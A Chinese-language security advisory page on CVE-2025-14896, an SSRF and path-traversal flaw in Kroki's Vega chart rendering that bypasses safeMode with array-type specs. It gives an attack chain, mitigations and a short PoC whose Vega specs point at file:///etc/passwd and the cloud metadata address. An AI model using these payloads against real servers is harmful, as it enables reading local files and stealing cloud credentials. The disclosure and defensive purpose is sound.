IPBUF安全漏洞报告
English
CVE-2025-14896 CVSS 7.5 高危

CVE-2025-14896: Kroki Vega safeMode SSRF服务器请求伪造漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-14896
漏洞类型
SSRF(服务器端请求伪造)/ 路径穿越
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kroki (Vega图表处理组件)

相关标签

SSRF服务器端请求伪造CVE-2025-14896KrokiVegasafeMode绕过路径穿越敏感信息泄露高危漏洞图表渲染组件

漏洞概述

CVE-2025-14896是发生在Kroki项目中Vega图表处理功能的高危安全漏洞。该漏洞源于Vega的convert()函数在safeMode安全模式启用时,对输入的spec变量(当其为数组类型时)的sanitization(安全消毒)处理不充分。攻击者可以利用这一缺陷,通过精心构造恶意的Vega图表规范(specification),使服务器向任意URL发送请求,包括本地文件系统路径如file://协议。这不仅可能导致敏感信息泄露(如读取本地文件内容),还可能造成服务器端请求伪造攻击,探测内网服务。需要注意的是,该漏洞的CVSS评分达到7.5,属于高危级别,CVSS向量显示攻击复杂度低、无需认证且无需用户交互即可利用。

技术细节

该漏洞的核心问题在于Vega图表处理模块对输入验证的缺陷。当用户在Kroki中渲染Vega图表时,系统调用convert()函数将Vega规范转换为其他格式。在safeMode启用的情况下,代码应该对用户输入进行严格的sanitization处理,防止恶意请求。然而,当spec变量为数组类型时,sanitization逻辑存在绕过。攻击者可以通过构造包含特殊URL协议的Vega规范(如file:///etc/passwd或http://internal-service等),利用convert()函数的请求发送功能读取敏感文件或探测内网服务。漏洞的关键在于safeMode的检查未能覆盖数组类型的spec输入,导致恶意请求可以绕过安全限制直接发送到目标URL。修复方案需要确保safeMode对所有类型的spec输入(包括数组)都进行完整的安全验证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用Kroki进行图表渲染,确认Vega处理模块存在
STEP 2
步骤2: 构造恶意请求
攻击者构造包含特殊URL协议(如file://、http://等)的恶意Vega图表规范,将spec变量设置为数组类型以绕过safeMode检查
STEP 3
步骤3: 发送恶意请求
攻击者通过API接口(如POST /vega)向Kroki服务器发送精心构造的Vega规范,请求渲染图表
STEP 4
步骤4: 绕过safeMode验证
由于convert()函数对数组类型spec的sanitization不足,safeMode的安全检查被绕过
STEP 5
步骤5: 执行未授权请求
服务器在处理恶意spec时,会向攻击者指定的URL(包括本地文件路径或内网地址)发送HTTP请求
STEP 6
步骤6: 数据窃取
服务器将获取的响应内容(敏感文件或内网服务数据)包含在图表渲染结果中返回给攻击者

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14896 PoC - Malicious Vega Specification for SSRF // This PoC demonstrates how an attacker can craft a malicious Vega spec to trigger SSRF const maliciousVegaSpec = { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 400, "height": 400, "data": [ { "name": "remote_data", "url": "file:///etc/passwd", // Attacker can change to any URL or file path "format": { "type": "json" } } ], "marks": [ { "type": "text", "from": {"data": "remote_data"}, "encode": { "enter": { "text": {"field": "data"} } } } ] }; // For array-type spec (bypassing safeMode) const maliciousArraySpec = [ { "url": "http://169.254.169.254/latest/meta-data/", // AWS metadata SSRF "format": {"type": "json"} } ]; // Attack scenario: // 1. Attacker sends POST request to Kroki API with malicious Vega spec // 2. Kroki's convert() function processes the spec // 3. safeMode check is bypassed due to array-type spec // 4. Server makes request to attacker-controlled or internal URL // 5. Sensitive data is exfiltrated via response console.log('Malicious Vega spec created for CVE-2025-14896');

影响范围

Kroki Vega处理模块 < 安全修复版本
Vega图表渲染组件(集成在Kroki中)

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1) 禁用Kroki的Vega图表渲染功能;2) 在Web应用防火墙(WAF)中添加规则,拦截包含file://等危险协议的Vega spec请求;3) 对Kroki服务的网络访问进行严格限制,阻止其访问内部网络和敏感文件路径;4) 启用详细的访问日志监控,及时发现可疑的请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表